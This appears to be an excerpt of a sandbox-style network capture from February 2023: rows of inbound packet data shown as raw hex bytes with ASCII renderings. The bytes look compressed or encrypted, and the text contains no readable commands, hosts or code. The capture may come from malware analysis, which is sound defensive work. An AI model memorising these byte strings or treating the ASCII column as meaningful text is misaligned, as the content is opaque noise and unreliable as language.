2023-02-02 07:09:15 UTC	54	IN	Data Raw: 13 54 fc b5 10 ea 8d 32 6e 7f ff 0e 14 09 d0 82 56 e8 3a e6 9a 34 b4 ed af 0d fd 8c 39 f3 71 ec 2e e2 8f 1e 18 cd dc df d1 03 5b d6 e4 51 ac 02 bf 0e 6e 84 72 75 8a d6 cd cc 33 f2 67 3d 1e be 2a 33 8e d7 1c dd c0 f9 4d 01 9a 96 6d 8f a0 d2 13 e1 bd 57 77 2c b2 5e 99 d6 ac e7 d0 5b 00 2e b9 f9 f1 91 de d4 a8 c8 e1 de 3e f2 fd 53 8a b2 2b 7e ea 26 b9 ed 3f 19 1e 3b 83 64 3c a0 c7 8e b4 55 09 ab 64 e8 fd 1e 06 d8 6f 86 97 91 8c d8 79 9a e0 4d 6b d2 b1 76 db 90 1b 68 5b 77 d0 d8 f7 4c 8d a2 62 4c 6c 3d 30 23 ae e8 57 80 69 66 b0 92 8a fe 03 11 73 3b 40 a4 01 c5 d4 1d 7a 34 37 2a d1 fb 15 40 42 b3 af ec 8e 5f 31 fa b5 df bf 6f c4 bf ff be 9f 67 2e fa 7a 0e d8 3c 15 09 39 d3 32 4e cc 7e 9a b0 0c 74 d7 b5 2d 73 45 05 70 e5 5e 7c 0d 7a 9e c8 f5 7f d6 13 61 f8 43 Data Ascii: T2nV:49q.[Qnru3g=3MmWw,^[.>S+~&?;d<UdoyMkvh[wLbLl=0#Wifs;@z47@B_1og.z<92N~t-sEp^\|zaC
2023-02-02 07:09:15 UTC	62	IN	Data Raw: 64 89 fa c8 02 50 2a ba 78 58 a3 2f a2 3b 15 90 bf 00 c6 47 3e e7 d5 2c 6f 75 32 ae 7b ef ce c1 06 90 32 20 31 63 16 97 f5 4c 99 c6 18 65 3f 41 6c 91 88 b8 92 4f fb f3 06 54 0d 0c 91 37 de 80 35 eb 33 0d be fc ec c1 86 8c 03 e2 98 a5 b3 5f 1a af 85 a7 39 50 29 d0 7c 0b 67 03 03 a3 1d 8c c1 c1 62 43 e1 d9 60 76 f8 4b f9 0f 3d e2 bb 1f 73 f2 d9 ad 65 6d 47 57 3e 10 72 77 65 77 68 46 86 3a f9 73 7e 8c 52 15 2a 81 08 9f 67 91 d7 cd 5d ad d4 a6 7a d7 48 44 95 65 f8 92 9b ea b5 dc bf de 0d e1 a4 49 d6 75 61 34 67 28 87 93 ea 7d 34 1f 5b 4f de 65 cf 5e 8a b7 05 23 8a 50 ff 7f 46 54 62 17 23 17 5d d3 7c 0d cc 6d 4e 97 ba 13 c1 43 e4 29 c4 8e 09 61 b9 5d 7e 34 ca ef 22 f9 46 ac 3b e4 a3 5c 20 e5 fe 21 2b b9 50 9e 1f 29 cf 56 47 95 75 da 0f f2 6e 85 3c 5b 2e df bf Data Ascii: dPxX/;G>,ou2{2 1cLe?AlOT753_9P)\|gbC`vK=semGW>rwewhF:s~Rg]zHDeIua4g(}4[Oe^#PFTb#]\|mNC)a]~4"F;\ !+P)VGun<[.
2023-02-02 07:09:15 UTC	70	IN	Data Raw: 4d 15 38 47 d0 cc a8 ca dd d0 f6 17 9b 83 b5 b0 f3 ea aa fd 5a c5 e9 ee c3 51 ab d8 19 45 8b 46 c0 ed 5f 0d cd 86 8d 7d 54 b7 8d 5f ab 28 dd fd 20 d4 2a 72 8e 44 ad 44 95 17 b1 b4 76 73 b3 aa 20 ea 75 09 bf 6a bb 74 f7 83 51 b5 9d 73 14 8d 17 bd 7d 66 ef da bc 2a 48 78 dd 00 bf 6a fb 74 f7 6d 51 b5 bd 73 34 ad 95 50 95 86 23 7f 6d 6a 56 15 c7 45 dd 15 3e 9c 3b a4 bb 23 14 48 ac 83 33 9a a6 4a 55 9e ec fc c5 4d 41 e0 80 e8 d6 cd f3 6b 75 4c 77 2f 43 ad 8e 4e 0d ad 63 aa 5c 93 1c 6d 1c 98 74 98 a0 8a 06 57 75 cd 47 01 aa 5f 77 a5 df 5e a7 74 f7 1e 68 af 93 33 86 d6 24 55 a1 d3 1e 56 5e c9 ed 37 f9 c6 82 7d 9b b7 07 92 5b 37 d7 6f af 73 ba 7b 29 da eb ec 1c c3 63 0c ed 6d 63 84 04 25 5f 32 e7 14 01 fc c1 c6 e0 54 71 90 d4 6d eb c3 b6 4b ba fb e1 68 aa 8b 33 Data Ascii: M8GZQEF_}T_( rDDvs ujtQs}fHxjtmQs4P#mjVE>;#H3JUMAkuLw/CNc\mtWuG_w^th3$UV^7}[7os{)cmc%_2TqmKh3
2023-02-02 07:09:15 UTC	78	IN	Data Raw: 42 f4 c8 38 d4 58 f6 7d 9b 95 11 ea dd 28 7c 06 0a 57 61 50 8c ee 77 25 da 7c 44 b6 a5 0a 9c 38 1b 7f ee 85 fc b1 f4 14 98 b6 59 91 5a 3f b5 5a a9 b3 08 8d 8c 20 06 92 a7 1d 81 1a 93 10 09 96 1a 83 68 a3 4b 35 03 b7 b7 01 cc fc 07 25 8f 1d df cc e5 ae bb 40 d3 46 48 2e ec 42 f5 bc a4 ee 42 79 31 52 9d 46 eb 37 c1 55 ae 3e e4 6f c4 54 32 5f 6c f2 4d 52 97 a3 cc 46 cc 46 af d0 bf 88 ff 2c c3 0c db f7 cb cf bc ae 96 73 2e 73 6e f5 c1 79 d1 b9 51 21 d6 c2 5c 94 ec 36 40 79 25 64 2d b1 fc 6e 30 c3 ba 07 d3 9e c1 69 2b 5f fb 4d 68 01 db aa 97 df 31 2d 83 87 b0 63 4a ac 77 d9 d4 22 b5 84 b1 6c 9c ce a3 ed a4 60 50 31 74 d9 80 7e 7b 8e d7 a6 af cd c3 63 68 e1 63 aa 7d a3 2b 49 56 e5 11 c7 28 f9 ec 46 ff fa f4 d0 46 a0 e7 f2 13 43 83 08 d8 23 a7 8e 12 c8 c7 77 f6 Data Ascii: B8X}(\|WaPw%\|D8YZ?Z hK5%@FH.BBy1RF7U>oT2_lMRFF,s.snyQ!\6@y%d-n0i+_Mh1-cJw"l`P1t~{chc}+IV(FFC#w
2023-02-02 07:09:15 UTC	86	IN	Data Raw: f4 5e ad d5 7b af 3d ab 72 e9 80 aa b8 a8 69 c8 03 c1 41 32 e5 d6 33 6a 90 0f c9 41 aa 8e 0c 66 80 74 6e d4 d7 12 e7 67 c3 90 ed 1f 0c 4e 5f 29 18 6f 0a 74 b9 e1 9c 91 01 9f 2a fd 47 c7 90 f3 1e a3 bb 8b 77 ea dc d0 62 76 35 2b bc 26 50 61 12 dc 1a 93 ad 89 61 c7 0d f1 bf 3f 80 61 83 83 7b 17 03 a4 34 2b 8c ff 2b 2d 65 90 6d e1 55 49 bb 2b 79 bf b2 a8 d2 8d 61 90 1b ae ee 5e 56 e5 c2 95 74 33 9c da 33 08 3a ba 93 fc 53 81 ee dd 8c f1 4b 37 74 3c 32 9d 65 b8 59 2c 1a 76 de 67 6c f4 4a 2f 5e 86 ec 83 d5 69 47 41 03 8e cb 89 fb 5b db 77 f3 8c 11 58 81 f9 02 a2 70 da c7 4a 44 3e 4e f8 c2 6e 10 b0 fa 15 78 21 ee 0f 16 cf 77 0e 49 99 00 d6 0d 7c d9 60 b6 0d bf da 89 e2 f9 4f 21 99 3b 74 a4 28 07 cf 54 c4 11 c0 82 f8 40 dc 87 c7 d3 9b 80 07 64 11 e2 f9 42 57 d5 Data Ascii: ^{=riA23jAftngN_)ot*Gwbv5+&Paa?a{4++-emUI+ya^Vt33:SK7t<2eY,vglJ/^iGA[wXpJD>Nnx!wI\|`O!;t(T@dBW
2023-02-02 07:09:15 UTC	94	IN	Data Raw: b4 31 a7 41 8c e6 f4 c6 7b e3 d0 81 e9 19 b2 b3 f1 74 44 ec 6a c4 f2 9c 3e 28 34 9e ed f8 fd 28 8a 64 ef d3 0e b8 9a 08 c4 71 fa e2 72 72 7f e0 64 a9 e8 94 d6 49 a7 1f ae a6 c8 6a b2 dc e5 20 b2 ca ec 0a 33 00 a5 4d 52 3b 4e 52 fb fc ed 9e a4 7c 6d 92 f2 e5 24 e5 e7 37 94 89 5f 65 75 79 fe 55 43 39 48 d0 8e 78 f3 4c bc d9 05 77 5d 70 e6 fd 0f e0 cc 57 e0 cc 8b 29 18 66 22 40 6e 38 c6 72 43 2c 3b 3e ff bf c0 de ff 09 5d 9c 4a 5c 9d 2d ae f4 81 9a 39 06 ba cd d1 e5 96 e7 7b 31 a3 dd 98 8d 55 78 cf 11 ef a5 6a 8c 00 e3 4f c3 82 4c 35 8b 82 8a e9 0c c0 e5 0c b4 bd 13 ae 2e e3 9e a3 0a 94 38 03 71 39 53 de ee 8f eb f3 b1 46 af f4 34 19 cc ab a3 d1 bf 1f d1 60 9d 6a 70 64 4e 9e df e8 d6 d0 55 4e e1 ff 22 ff cf 52 1f fd 92 77 46 17 67 f7 47 c8 d3 9d 50 3b 6e 96 Data Ascii: 1A{tDj>(4(dqrrdIj 3MR;NR\|m$7_euyUC9HxLw]pW)f"@n8rC,;>]J\-9{1UxjOL5.8q9SF4`jpdNUN"RwFgGP;n
2023-02-02 07:09:15 UTC	101	IN	Data Raw: ea 76 d5 77 ef 67 f7 79 cc 44 83 f9 dc d3 07 04 52 2f ff 81 f1 1e a5 a2 ef 1c c8 f4 d0 ce f5 28 da 73 40 60 65 52 ec 58 a9 6c 6f 7a b0 a8 14 19 9f 3c b5 e3 81 f5 8a b4 66 1d 48 53 0a 14 82 5b 1f 2c 72 aa c2 96 99 98 ff 8a b5 f3 aa cd 7f d6 59 af bd 34 66 86 5b c1 85 39 21 11 d6 26 ea 79 f4 66 9e d2 2d 5f 03 81 94 35 f6 f4 f2 fe fc 3d de 3a f6 a7 6b 3c ff e5 45 b9 6a ec 2b 63 90 df 7f f2 67 43 b3 37 5e 51 ee dc c8 93 12 9a 0f 2c 45 43 e2 e7 4d e4 8c 00 a8 df ae f9 61 6f eb a7 e9 2b 46 d6 5b 4b ce 7a e1 a4 ec dc 6d a0 be 90 3c 3f 7f 22 75 bb d6 99 7f 8e 5e 61 1d 7d ef a1 af bb af ce cc 89 b8 f3 70 35 4c 5c d9 4b 88 fa 51 eb b5 07 fe 73 ff 44 cb ba f4 c7 fd 72 e0 a6 bf ac 9a 92 98 05 b5 98 98 fd f2 c8 66 5f 08 74 40 73 26 9a 31 0c f3 43 7f bd bf 3e 07 43 9b Data Ascii: vwgyDR/(s@`eRXloz<fHS[,rY4f[9!&yf-_5=:k<Ej+cgC7^Q,ECMao+F[Kzm<?"u^a}p5L\KQsDrf_t@s&1C>C
2023-02-02 07:09:15 UTC	109	IN	Data Raw: 6d 1a 32 67 66 8f 6c 89 24 6c 3c 1d 75 18 b2 26 8c 06 ef 4b 1e f8 a6 2e 18 0e 36 e3 c7 53 15 bd 87 4f 6d f1 15 41 01 5a e6 5a 56 87 ca d8 0f ab c1 f4 e9 3d 83 a7 af c0 6c f9 6d 4d 40 5f ff 36 c8 da 7f c6 00 40 66 30 77 e3 a8 69 83 a6 de fb 84 40 fe 9f b8 1a 60 46 3d 45 ae 5a 4d 26 b6 fa 1a ef 39 d2 84 80 5d 4e 35 cf 70 04 53 98 6e bc 73 4f 1e f4 61 09 5a 3a 11 5c 89 c2 34 53 0d 7f 46 74 73 52 bf c2 c0 d5 eb af 4f ae 2f 77 10 e2 be 20 ac e8 b4 62 c0 73 31 a7 15 e2 ee 72 2f cb fa 02 c6 12 ef 25 c4 c2 9d 1f d2 86 15 0b 94 e6 6e eb 32 b1 59 c0 78 b0 6e 1b b1 9f 37 b8 4f cc 0a f3 03 a3 7a c0 83 60 a3 84 27 c1 f7 74 00 25 20 2e 2a 00 24 42 71 cc 16 84 66 6b 44 07 97 93 6b 68 ee 45 68 bb 49 a9 41 d7 4e d8 3e c0 83 d8 5a b9 de 7a 63 eb cc 12 44 c9 92 2d 4b 63 22 Data Ascii: m2gfl$l<u&K.6SOmAZZV=lmM@_6@f0wi@`F=EZM&9]N5pSnsOaZ:\4SFtsRO/w bs1r/%n2Yxn7Oz`'t% .*$BqfkDkhEhIAN>ZzcD-Kc"
2023-02-02 07:09:15 UTC	117	IN	Data Raw: 7b bf 82 df c5 c6 a9 a3 31 e0 ea f5 2d 40 c0 fa aa cf 09 31 ad ef c3 3c 0b 0c 38 f8 b2 8e 56 9f 2b fd 35 06 7b 59 50 1e 92 ed 09 09 ad 5c 64 20 30 74 1f 04 ca 67 6f 94 ed e4 3c 1a 4d 6d f7 4d 6e 2b 25 a4 cb 31 42 b6 08 8c 31 06 2e b9 60 27 ca e0 86 0d 23 9e dd dd 0a f6 88 3b b7 19 34 03 d4 39 87 b5 f9 c8 68 23 8a db 97 54 8e 45 98 a4 26 0c a0 4d 89 6f 9f a8 19 a3 45 3a e2 7a 13 b6 26 dc 77 ff 93 f7 e9 00 0c d8 89 59 d1 f3 a2 33 95 6c 22 0f 8b 16 7f 07 ed 4a 09 44 5f 53 2b ba 1a ca 39 9a cf 50 c1 8e 2d 0f 31 e0 7c b9 93 e9 35 34 a9 14 e4 5a 84 39 64 c7 09 ac 7c cf bc 06 34 45 e9 1e 72 db 48 0d fa e5 0b 83 ca cf 0d 00 70 06 2e 34 21 cb d1 9a d6 12 76 44 35 eb 06 94 e2 ec 13 ec 24 ea 8a 8d c7 11 ea 09 95 fe 58 81 9d 03 ad 89 7d a6 8b 1d 50 6d 26 95 c8 b8 10 Data Ascii: {1-@1<8V+5{YP\d 0tgo<MmMn+%1B1.`'#;49h#TE&MoE:z&wY3l"JD_S+9P-1\|54Z9d\|4ErHp.4!vD5$X}Pm&
2023-02-02 07:09:15 UTC	125	IN	Data Raw: 77 ee 36 a9 0a f0 b2 05 f3 ca b8 5b d7 af 5d e9 97 62 c9 ef bd 45 64 77 f0 50 80 80 70 f7 44 0b 2c 8c fa 08 18 88 34 4c ac 5d 5b 6a 6b 17 ca e9 0a f7 fe 55 e1 c6 04 dd eb 22 2f 30 c9 82 68 85 33 ac dc cc 9c f9 1f 59 f0 3e ce 97 ee cf 28 76 30 c8 77 02 3a 46 f8 f0 91 07 cc c5 66 4d 27 95 92 16 a2 16 5b 10 a8 6c 57 59 de 1d 84 4a 61 a8 c2 23 e1 f3 83 84 36 c2 90 51 e0 42 6d 46 5d 7a 78 29 84 f2 66 d1 c7 21 b1 42 b6 80 a7 80 a6 e1 c2 12 44 8e 7e d8 16 10 de 76 30 6e 20 b9 1f 51 15 5d e5 bb 7c 61 ab 9b a4 be ff ac 8e 9f 64 eb dc 2f 5f 3a 1a cb f0 0f 3f 30 08 40 8b af d5 e7 3e ac 77 f7 63 bd 8b d7 1a 01 ff e7 da 56 40 d8 6d 69 ae db f4 d8 2b 8e 7d 28 fd f2 8d 87 dc 34 51 94 f1 12 f1 56 21 e0 d0 bb 93 38 32 a8 28 05 ba b3 77 37 a1 60 83 82 ad 6d d7 78 7c 8c 8b Data Ascii: w6[]bEdwPpD,4L][jkU"/0h3Y>(v0w:FfM'[lWYJa#6QBmF]zx)f!BD~v0n Q]\|ad/_:?0@>wcV@mi+}(4QV!82(w7`mx\|
2023-02-02 07:09:15 UTC	133	IN	Data Raw: a7 14 0a eb 5e 55 0e 1c ad 5b aa bf 31 35 99 bb 27 75 1e a4 4f d5 b5 1f 59 3a 60 1f a4 0d c8 53 0b 8e 6b e4 28 3d d4 c7 cb bb ef 25 e8 8e 1c 1d 3a 65 f6 6d 13 cf 04 51 0f d4 00 53 0e 07 80 c1 0a 03 d0 6d ae a1 2d 34 85 6f ac 25 d8 f6 11 ef 7c dd bc 6a 1f 87 95 27 83 10 3a 89 7e c6 ef 68 94 8a 5e 5c 3b cf 87 14 10 44 09 9e 1a 0d b2 97 f0 11 ea 47 f7 8b 6b ff 96 d0 b5 5f 65 55 c5 bd 2a 8c 98 de 43 02 fa a7 0b c3 b3 1d 18 8a 80 2b cf 1d 28 a6 36 c4 2f b9 e5 81 c5 d0 c0 9e 67 e5 9a 81 28 dc eb 81 d2 32 05 26 80 77 00 fc a0 0b a6 42 b3 71 35 6f 87 a6 93 e0 22 f2 51 7c 23 c0 81 95 cc 54 13 6f 1e 19 28 a2 86 fa b0 50 2e 7b 4c 50 02 97 94 30 37 67 61 43 d5 8a 3d 38 b2 dc 2d a2 61 66 50 0e b3 c7 4b ae 46 00 06 68 27 37 b2 35 92 ae 7b 6f 5e 43 ff e5 68 92 68 99 ef Data Ascii: ^U[15'uOY:`Sk(=%:emQSm-4o%\|j':~h^\;DGk_eU*C+(6/g(2&wBq5o"Q\|#To(P.{LP07gaC=8-afPKFh'75{o^Chh
2023-02-02 07:09:15 UTC	140	IN	Data Raw: e7 3e 0b 1e 4b db 2c 89 b5 35 03 7d aa c4 2a 31 52 e3 99 80 89 a9 c3 b4 f2 5a f1 c4 76 49 ea 44 a2 4d 71 01 bb 5d 69 5b 4d 26 32 a3 f1 d5 86 d0 d8 7c 1a 08 57 d1 39 3f a3 7d 0b d1 39 bf e0 db 22 c7 37 d8 34 e9 74 0d cf 22 73 e1 25 0d 04 9c 1d 8b bb 4c 64 33 e5 0a 5f a0 d5 80 a4 86 3b 9e e7 30 1a 37 0a 77 12 5a 73 22 35 91 d9 62 fd fd ca 28 72 ef ae bc a2 5d 24 9e 2d cf 36 4a 0a 53 c7 e1 a0 49 90 42 ad a4 44 6c 8f f3 6d ef a4 fc 40 c8 c0 57 6a 17 7a ac 1b a9 a4 13 41 8a df d5 87 d2 e9 53 e0 51 f5 37 db 2e 78 e5 cf 00 84 ea 6c 17 2b 78 da 39 78 f1 b8 5b b2 2b 13 5b ff 5e ed e2 d4 24 a6 4f e0 c1 ce c0 3a 06 9a 02 f7 68 dc bf c4 3b 21 1d 54 51 3c 58 6c 48 30 6c 56 5a 24 e9 03 6b ea e5 3b f8 13 d7 7a 00 ef 60 33 be 3d e6 f8 98 10 b5 8c 78 ed f8 60 f4 b0 24 50 Data Ascii: >K,5}*1RZvIDMq]i[M&2\|W9?}9"74t"s%Ld3_;07wZs"5b(r]$-6JSIBDlm@WjzASQ7.xl+x9x[+[^$O:h;!TQ<XlH0lVZ$k;z`3=x`$P
2023-02-02 07:09:15 UTC	148	IN	Data Raw: 56 0b 4e 90 9b a8 6a 74 8c b6 80 41 72 ad d6 d1 cc b4 10 a0 d1 c4 9a d5 78 d6 3a a0 cd b4 17 a9 23 2c f2 7d 5b cc 96 64 02 eb de 13 bf 4a db 49 f2 79 67 c6 2f 33 9e 64 3f 1f eb 0c d8 34 64 63 76 b6 24 5d 0c 87 2e 47 bd 97 55 00 bd 9d 1e 40 8f ab c9 db 5a 56 8b 44 e5 f5 45 fe 44 84 d9 b9 8b af f9 4e 17 7f c5 f3 11 8e c3 1a 8d 70 ce 2d c4 f5 bb 12 d3 f7 4f 2a a3 e2 69 ca 12 c5 96 5e 5f a3 50 2a 62 b7 10 e8 a1 0e b3 cd 48 f5 93 24 69 bd 65 0c a1 b5 2c 63 e5 2e c4 79 e3 0d 12 bf e9 37 d3 6b 6b 14 ca 37 09 8f 83 30 90 c2 00 2b 55 09 c9 4d 7a 58 74 82 01 0f e1 95 28 39 92 8f 76 39 43 17 7f 77 eb 24 67 e6 e4 fc 61 7e ff be 9a d1 bf 3a 2b 8e 07 d9 e3 07 20 5b cb d2 a8 74 e3 69 b3 81 b2 f4 6e b5 4c dd 0a 05 d2 ce b7 0b 53 4d f0 ab ae a9 0a e8 0d a0 25 bb 9f 47 dd Data Ascii: VNjtArx:#,}[dJIyg/3d?4dcv$].GU@ZVDEDNp-Oi^_PbH$ie,c.y7kk70+UMzXt(9v9Cw$ga~:+ [tinLSM%G
2023-02-02 07:09:15 UTC	156	IN	Data Raw: 2a 53 ff 07 a6 91 3f bb 74 d6 6f ce fd db 16 3e e8 b7 f3 d3 9c ed a4 b5 1f 65 76 f0 fe a9 bc 1a ff 20 c6 4d f9 b7 c0 4d e0 b2 ec 11 67 cc 1c de 8d 6e c0 af 8b da 9f 37 41 b9 1f b2 de 2d f9 58 14 1e c6 9c b3 a4 82 a6 02 cf ba 25 0e 56 3f fb 1b b7 46 a4 03 b9 57 c4 1c 54 1b 51 df 5c 69 9c 81 3c 0e 10 ec f7 70 09 60 35 34 9f 5e 31 8a 20 c5 19 ca d2 ba 1c 28 55 ef 15 d5 e5 8c d4 61 21 2c 35 d9 86 84 f3 c3 88 e5 e7 39 6f b4 7b 2e 3e d6 31 27 b7 1a e0 3f f2 bc 5c 13 d3 cc e6 79 12 fa 67 06 65 9d e6 2f ea a8 60 58 c5 04 30 2b 37 64 b7 e8 4c 7b 0d 87 7f af dc 54 ff 61 5e b4 7a 59 a0 12 35 64 de 79 b5 31 61 be 31 ce 69 21 8f ce 8f 2d 81 4a 05 a5 2f 3a 05 72 0a c1 74 73 f6 31 90 0d 00 1e c9 c6 21 bb 3e a1 b2 6c c4 7c 26 83 6c a2 ac ac 2c e2 11 17 2b 93 6a f2 5c 34 Data Ascii: *S?to>ev MMgn7A-X%V?FWTQ\i<p`54^1 (Ua!,59o{.>1'?\yge/`X0+7dL{Ta^zY5dy1a1i!-J/:rts1!>l\|&l,+j\4
2023-02-02 07:09:15 UTC	164	IN	Data Raw: a7 88 f4 86 c7 b9 e7 5c 3a f5 b9 94 de 6d 08 0b 1f 9f d9 a9 22 2c 76 1a fd 3d 99 3e 31 fa 80 fe 1e 15 71 f5 b3 df d2 ff f6 8d a9 86 17 0d 3a 2a 7c f1 a2 21 3a ab 43 36 cc f7 12 ce 7e 43 af f0 04 56 63 cd 37 7d 1a 9f bb 14 d7 cc 20 4b c3 18 3c 5c eb aa b1 e6 d1 df d1 50 65 95 42 95 95 5a bc db 60 fb 22 b5 ae 9c e7 3e 60 77 6b 98 d1 6c 1f ab a9 3a bd 22 a1 be 86 a6 06 ab 09 99 0d 67 20 bc 58 a6 d1 07 b6 08 39 21 e1 53 05 60 c0 3d da 0f d3 7f 6b be 08 79 36 70 6f 57 63 e5 22 d8 fe 1b b0 fd 95 b2 e9 71 66 61 6c ce ac 8e 28 92 00 2a 8c 72 eb 51 ee bf f2 06 10 77 3e 48 1e a7 36 ba 1a dd 3b 18 dd 08 35 3a 84 89 b6 19 f7 15 37 86 a4 c9 ae bd 3d 6f ff ae 82 b3 cf ae 21 1b a4 18 ee 2d 46 03 b7 44 0d a9 03 02 ac 7d 58 b5 17 b0 97 19 99 f5 55 be 01 46 d3 84 e5 5b a6 Data Ascii: \:m",v=>1q:\|!:C6~CVc7} K<\PeBZ`">`wkl:"g X9!S`=ky6poWc"qfal(rQw>H6;5:7=o!-FD}XUF[
2023-02-02 07:09:15 UTC	172	IN	Data Raw: 9d 78 00 6f 6b bb a7 00 00 39 fe 19 e2 01 3f a0 ca df a1 cf 90 ac 60 ff 37 f9 79 7a 1e 0a 1d af 8d 5b be a0 a1 b6 d5 e9 88 05 3a 22 81 fe 87 b4 b4 a7 91 e0 3c e9 83 2e bf f1 1f 75 37 ab b5 d7 79 c8 1f 03 15 d4 54 6c 49 97 be 51 fa da 9f 0b 20 fb d5 be f6 83 d0 5c 1b 6d 0e e4 0b 1a f6 f5 fa da 4f c3 da cb 26 ff c1 1c 80 7c 82 a7 e0 f3 c4 95 25 ce 43 1b c7 fb 09 09 fb c3 d6 94 25 04 78 ad 78 89 3a b8 63 f2 26 45 be d5 f0 e9 ca 7a 9f 27 67 a2 76 81 36 07 f2 05 0d bb 81 8e 07 0d 81 07 12 e6 fa e1 3f 24 d9 4a 43 84 49 81 75 25 2c 9e 11 ee 9a 84 14 a3 39 7d be 00 70 30 3d 08 5f 7e 21 c9 fb 71 36 1f 81 82 59 27 b3 6a 58 9c 0a 69 b1 1a d6 fd 3a 72 b4 64 21 a8 83 2f 4c 0f bc ba 63 57 a8 e9 44 26 2b 36 d5 11 42 f4 79 da 34 aa ea 6a 35 38 65 66 2f 55 fd 10 ee af 6d Data Ascii: xok9?`7yz[:"<.u7yTlIQ \mO&\|%C%xx:c&Ez'gv6?$JCIu%,9}p0=_~!q6Y'jXi:rd!/LcWD&+6By4j58ef/Um
2023-02-02 07:09:15 UTC	179	IN	Data Raw: d9 aa 38 20 15 2d 0d e3 5a 48 5b 44 36 01 be 44 b5 3b 12 a8 b6 98 81 89 cb 30 cd 9c d6 11 cd 9c e1 81 7b aa 00 37 11 1a 31 5a 04 1c d4 79 f4 da 68 98 f1 5a a2 ca c0 41 7d 35 cf 81 be 40 85 a5 7e 5c e7 39 b8 47 21 dc 4c 60 a5 cf 80 65 dd 81 65 17 59 91 37 8f 6b 9d 84 52 ef 9f fd 8a 36 bf 25 21 84 de 79 9b ed 3f 7a f9 86 8b a1 c4 c2 ca 41 76 af 42 b9 b0 76 14 30 03 b4 ba 52 16 fb bc 52 f3 a3 3d d4 78 6e ad 91 1c bf 78 ea 41 fa ee e7 bd e2 9f a5 b6 19 7d 52 bd 75 2a d0 f9 64 6d ef 69 96 e4 6a 0d 58 0d f0 b0 72 6c 99 eb c7 a8 b0 a6 08 7c 97 4d 39 fd e3 e6 68 f8 23 d5 12 9e 5d 5d cf 78 b2 80 16 d7 cd 7c c2 72 1c 81 a4 60 4b 1b 3f fb bb 6a df de a5 41 bf ef f7 dd e6 94 47 c1 e0 10 89 47 b3 92 2d f6 fc a3 b9 07 d5 87 aa ea 83 92 f8 21 2a d3 be 42 88 7e 3e e4 9b Data Ascii: 8 -ZH[D6D;0{71ZyhZA}5@~\9G!L`eeY7kR6%!y?zAvBv0RR=xnxA}RudmijXrl\|M9h#]]x\|r`K?jAGG-!B~>
2023-02-02 07:09:15 UTC	187	IN	Data Raw: fd 20 8d 29 8a a4 7b 18 2f 91 82 75 77 51 0f 5d e5 e7 99 dc b0 ca a7 e0 a9 4b 07 fd 92 39 e6 c1 6d fe 15 53 fe 4a 28 58 8a aa 31 9b f1 e0 55 3e b5 ed 6d 74 f7 9f 8b 5f 1a 93 d9 f7 d3 be c3 a3 63 ff ec c2 76 e8 df 0c d5 bf 29 e5 c1 ee 4a f9 0c 60 e4 e4 ff 47 b5 99 89 79 cb 56 06 a2 1b 72 43 51 50 42 3c 33 d4 9a 9e 63 73 26 ab cc 5b 29 dd d9 66 48 fd 77 c7 66 2a 93 87 56 b8 fd 79 3d dc 1f df b7 1d ee 8f e3 b1 97 91 c6 f3 e6 bc d0 d4 cb 2d 52 f7 e0 d2 a6 e9 c3 24 7c 24 f0 50 3f 6c 23 bc 26 f4 22 ae b7 32 44 3e ab 97 7d 39 37 1a 1f c8 2e 6c 8d 7b a7 06 c8 c7 b9 19 2e a5 e9 6a 2b ea d2 c1 8b 7e f7 96 b3 b0 09 96 6b 24 96 4b e2 7c 98 89 3f 93 e9 7e 4c 9f 9d f6 bb bc 7e f9 c4 8f 1f ce 7c ba 6e f6 c3 68 cc 23 23 e4 23 8a ba 9c 41 bf 33 5a 43 3f cb 80 1b ea 75 c6 Data Ascii: ){/uwQ]K9mSJ(X1U>mt_cv)J`GyVrCQPB<3cs&[)fHwf*Vy=-R$\|$P?l#&"2D>}97.l{.j+~k$K\|?~L~\|nh###A3ZC?u
2023-02-02 07:09:15 UTC	195	IN	Data Raw: 4e bc 26 33 fc 2c cf 9b 48 c0 27 b9 09 52 4d 3e 94 e7 fb 81 66 c0 6f 35 09 af fa c8 7a f9 de 04 60 29 5b f3 3f a1 e7 be bf 12 38 0e 1a d3 21 e0 51 a4 d4 17 c2 fd 53 67 5a 85 f7 a0 74 22 9b 6c bc 75 dd 60 0e 7d 7c bc 06 75 63 e8 7b c9 c2 20 2c 61 97 bc 5b be 37 2e d7 9a 13 15 82 b4 69 29 6f 27 e2 bd 5e 99 5e 88 68 db 78 fd c6 fb 46 e3 7d 53 83 16 32 14 8b cb 2d 92 85 81 0b 59 b5 ad 2e 9c 8a c6 d7 79 da 10 f1 ca e8 7d 33 ee a5 bd e6 32 e9 ab 16 d3 90 c4 e6 bc de 1c 9b 8b e0 8b bf 69 bf 6f 76 1e 7d a5 cb 31 a9 b4 4b 79 b5 bc 0b 96 d3 30 d4 4f 70 4c b2 9d 59 00 2f 14 fa dd 1a bf c7 a4 c1 9f fd b9 a5 fd b5 ce 36 ee a4 f9 5b 5e 67 ec 49 8f e8 fb 09 c9 b5 59 0d 77 78 c1 63 8f 5d 11 03 ec 12 c5 c4 25 30 28 f3 d1 86 2b 4f cc 3c 7d 7a 6f 2f c3 31 94 73 ab c3 f4 8d Data Ascii: N&3,H'RM>fo5z`)[?8!QSgZt"lu`}\|uc{ ,a[7.i)o'^^hxF}S2-Y.y}32iov}1Ky0OpLY/6[^gIYwxc]%0(+O<}zo/1s
2023-02-02 07:09:15 UTC	203	IN	Data Raw: 83 dc ee 39 88 0a 47 2a e0 2d 7a b6 6b 5c f2 b3 dd 05 c8 d1 44 80 d5 b5 f3 a1 9c 1c e6 5b df 2b 32 0b 0b cd b2 4a d6 dc 2f 36 39 36 1a f4 32 40 4d 57 06 69 86 d0 78 a1 5a 6d ad f2 41 8c c7 3b 27 e1 34 60 2c 7e 32 59 7f 2b 22 07 74 55 f1 68 ea a1 5d fb 09 79 db 6c 6e bd 00 33 d0 cb 52 7f 5b b0 f0 21 15 ab 10 b8 56 db d6 7b 5b 4b 6b 12 0e a2 16 bd 6d 9e d7 3b 5c 3a a6 eb 10 4a c7 48 62 76 fd 0c f8 9a 98 cf d6 ea bb 20 b4 7e a5 3e 5b 24 f4 19 71 9c 3b 3f 48 15 c3 81 07 9b 50 a7 84 c6 55 76 3e c3 ad 08 06 d1 a3 79 0a cb 4d 9f 26 19 e6 83 3e bd e7 fc 24 07 a8 ad fe 24 69 29 1f c1 7d 9a 11 27 d2 49 72 62 c6 4e 68 66 8e 18 6c 50 f7 ed c1 79 a4 60 be bf 90 cf 1e d4 88 93 d1 d4 8e 9a 09 f9 8d 65 52 ba f9 fd 52 77 f0 e0 34 4e 93 d9 78 f2 af 12 f0 fb 0d b3 2c 74 78 Data Ascii: 